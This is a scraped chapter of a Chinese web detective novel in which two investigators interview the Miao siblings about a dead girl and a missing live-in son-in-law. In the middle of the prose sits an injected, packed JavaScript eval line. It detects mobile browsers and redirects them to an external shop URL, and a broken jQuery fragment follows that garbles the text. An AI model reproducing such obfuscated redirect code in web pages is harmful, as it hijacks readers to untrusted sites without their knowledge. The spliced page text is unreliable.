文趣网 > 其他小说 > 我成嫌疑人了?!(探案) > 67. 第五章第八回:掌权者
    “不好意思,小妹自幼胆小怕人,若是言语间有得罪各位的地方,还望二位海涵见谅。我是她哥哥,名宁。”苗宁拱手行礼,语气谦和,引着二人往堂屋的案几旁落座。

    书店小厮自觉不便入内,便跟着杂役留在院子里。

    虞捷和松桔并排而坐,对面坐着苗家兄妹。刚坐稳,仆役便端着热水上来,依次摆放在几人面前。

    “苗公子客气了,我们如此唐突上门,还劳烦公子这般体谅,我等也是不甚感激。”松桔娴熟地漾开友善的笑容,“既然如此,我们就有话直说了。”

    “松司马请讲,苗某定知无不言。”

    虞捷望着眼前热气腾腾的水,指尖蠢蠢欲动,想去碰杯,左瞄右瞄,却见其他几个人都没有动手,又迟疑起来,不知道此刻端杯合不合适。

    倒是躲在兄长身旁的苗安姝,发现了她的小动作。她的脸比兄长要圆一些,眸光微动,不着声色地举起自己面前的水杯,轻轻抿了一口,又缓缓放回桌子上。虞捷这才敢伸手去碰杯子,借着水的热气给自己暖身子。

    “不知苗公子与令妹,可听说了全彤姑娘家的变故?”松桔率先开口,目光扫过苗安姝后,落在苗宁的脸上。

    “是,听说了。”苗宁颔首,语气沉重,身旁的苗安姝跟着轻轻点头,嘴唇微张,似有附和,只是她的声音细若蚊蚋,除了能看见她似乎张了口外,几乎无法知道她说过话。

    苗宁继续说道:“我们也很遗憾,全小姐和小妹关系很好,总来家里找小妹玩,和她那急躁的姐姐不同,全小姐性格活泼开朗、喜好外出游玩,与性子内向、不爱出门的小妹很是互补,算是小妹唯一的知心好友,我们家都很欢迎她。没想到会发生那种事情。”

    咦?这也太奇怪了。虞捷蹙起眉毛。

    全舟的说法,是全彤单方面痴迷苗安姝的文字,不顾家里人反对,愣是直接跑去人家里,还把人家的废稿都要回家读。

    熊珩的角度里,苗安姝嫉妒全彤的文字,总是被压一头永远无法翻身,所以对全彤积怨已久。

    可到了苗宁的话语中,两个人又成了惺惺相惜的挚友,亲密无间。

    “既然两位关系如此密切深厚,那苗小姐对于昨晚全小姐出现在郊外的山林中的事情,有没有想到什么呢?”原本在路上,松桔听了虞捷和熊珩的转述,假定二人是仇敌,本打算用更强硬的语气,让对方提供自己的不在场证明,可苗宁这么一说,他又就觉得,若是贸然逼问,反倒容易引起抵触,当即决定变换说辞,“比如,她有没有告诉你,她昨晚准备和什么人见面?或是有什么急事要办?”

    “没有。”

    其实无人能听见苗安姝的声音,可她摇得飞快的脑袋,让旁人得以顺利推测出她想说的内容。

    忽然,虞捷想起了熊珩在路上和自己说的事情,顺势询问:“对了,苗小姐,请问李想、李公子今日有在吗?我听他的朋友说,很久没见到他了,有些担心。”

    苗安姝立刻面露警惕、抿唇不语,只是用一双清澈的眸子呆呆地看着自己。

    “望公子?说是回老家过年了,对吧。”苗宁皱起眉头,看向躲在身旁的苗安姝,见她轻轻点头,才又看回对面三人,“上个月初就走了,说是回北方老家过年,过完年回来。”

    “李想是怎么成你们家的上门女婿的?”松桔抬眸追问,“我以为只有世家大族或是朝中高官家,舍不得女儿出嫁,才会招上门女婿。”

    “他一开始,其实是我们家门客。人家既然来投奔了,我们哪有拒绝的道理。”苗宁扬扬嘴角,见对方眼神里并无信服之意,才苦笑着摇摇头,坦言,“松司马眼光毒辣,实不相瞒,我们家确实祖上积攒了不少财富,又运气好,这些年的战乱没把我们的财富耗尽。实际上,我们家境寻常,这座院子也是祖上传下来的,根本没能力养门客。

    “那李想是怎么来你们家的?”

    “哎,说起来也是机缘巧合。那天,全小姐约小妹出门散步,小妹走到半路,恰巧撞见几个无赖,一群大男人围着南渡来的李想寻衅滋事,就带着护卫挺身而出,把那几个无赖赶走,救下了李想。李想感激小妹的救命之恩,说他无以为报,初来乍到,钱也被人抢走了,但脑子还不错,如果小妹需要,他可以帮忙。”苗宁说着,看向身旁的苗安姝,眼底满是宠溺,“小妹,小妹看他模样周正,谈吐斯文,全身上下也没钱,态度又好,一时心软,就给人领回家了。”

    苗安姝看起来唯唯诺诺,连谈话都要哥哥代劳,为了救人却能挺身而出?至于之后那句“长得不错就领回家”,更不像是一个胆小害羞的女孩子能做出来的。

    虞捷隐约觉得这里有矛盾的地方。

    “没想到令妹如此勇敢。真是让人刮目相看。”松桔凝视着苗宁的双眸,想从中判断对方是否在说谎。

    “可不是吗?她从小就胆小得很,什么都要我们代劳,但有的时候又很勇敢,做出些让我们意想不到的事,次次都让我们刮目相看。”苗宁毫不畏惧地迎上视线。

    听着兄长由衷的称赞,一旁的苗安姝的脸颊微红,露出了尴尬又腼腆的笑容。

    苗宁的语气并不像是在说谎话,眼睛里的赞美也是认真的,似乎并没有奇怪一个内向惯了的女孩子、主动救一个被无赖欺负的外地人,又主动把人领回家这件事,不符合她的性格。

    “她把人领回家,你们也没反对?”虞捷忍不住插话。

    “一开始我和我爹是反对的,毕竟是陌生男子,但李想确实很老实,因为妹妹的救命恩人的事情,对妹妹百般体贴,还屡屡表示,愿意入赘苗家,一辈子照顾小妹。小妹很亲近他,日日与他相伴,常常窝在屋子里聊稿聊到深夜。我和爹确实也舍不得小妹出嫁,见她心意已决,就同意了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772398|206323||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “说到底,最重要的还是因为苗小姐喜欢?”

    “那是自然,”苗宁毫不犹豫地点头,“小妹若是不愿意,纵使李想再好,我和父亲也绝不会答应。”

    一番对话下来,虞捷心头的矛盾感愈发强烈,甚至生出几分诡异的直觉。

    就好像,那个唯唯诺诺、躲在哥哥背后、需要哥哥代言的苗安姝,才是这个家里真正说话算话的人,而她的哥哥,甚至父亲,看似事事护着她,实则事事顺从她的心意,被她不动声色地主导着,却浑然不觉,甘之如饴。

    她又看了眼苗安姝,恰好对上她抬起来的眸子。四目相对的瞬间,对方立刻慌乱地低下头,回避与她的视线接触。

    “原来如此。”松桔了然颔首,特地停顿了一会儿,见虞捷没有其他想说的,便将最锐利的问题,直直投到对方眼前,“苗小姐,您平日在写故事时,是否有让李想参与修改呢?”

    “倒是、倒是有,我写的故事不好看,怎么都无法发行,阿想很聪明,就当我的读者,帮我指出问题。我自己都不知道,原来句读的不同,也会让读者对故事的理解,出现偏差。”苗安姝的声音依旧小得出气,旁人都需要非常专注,才能勉强听清几个关键词,然后在脑海中拼凑出她在说的话。

    “你手上有未经修改过的原稿吗?”

    “有是有,就是都被小彤借走了。”

    是那些被全舟当成废稿、堆在全府还未归还的手稿!

    虞捷忽然觉得头皮发麻。

    难道说,全彤早就察觉到苗安姝的书稿有问题,却分不清是李想动手脚,还是苗安姝本意如此,才特意找苗安姝借走了所有未修改的原稿,想自己暗中比对调查?

    而就在这个念头闪过的瞬间,她也猛然想起了另一件被自己抛在脑后的要紧事。

    “不好,”她失声惊呼,“全舟、全舟说要来找你算账,只要你家院门一开,她就要带着全家冲进来!”

    “这也太冲动了。”苗宁的眉头紧锁,但语气中却并不意外,仿佛早就料到全舟会有这个举动。

    “苗公子并不奇怪?”这下轮到虞捷诧异了。

    “都在一条街上,一个街头一个街尾,还能不认识吗?”苗宁摇摇头,“她小时候就冲动,打架斗殴,整天学人家讲什么兄弟义气,闹着要替弟弟上战场打仗,整天说自己是男人,只是错生了女儿身。

    “她总说小安欺负她妹妹,我也不喜欢小安去找小彤。但俩小姑娘关系好,不该受哥哥姐姐们的恩怨影响,就没拦。早知道,一开始就拦着了。她有说什么时候来吗?”

    “倒是——”

    话音未落,院外突然传来一声巨响,伴随着铜把手被砸得震天响声,全舟的怒吼响彻整个院落:“苗安姝!我们全家来替小彤还你的破手稿了!”

    虞捷嘴角一抽,对着苗宁干笑两声,补完了后半句话:“——现在。”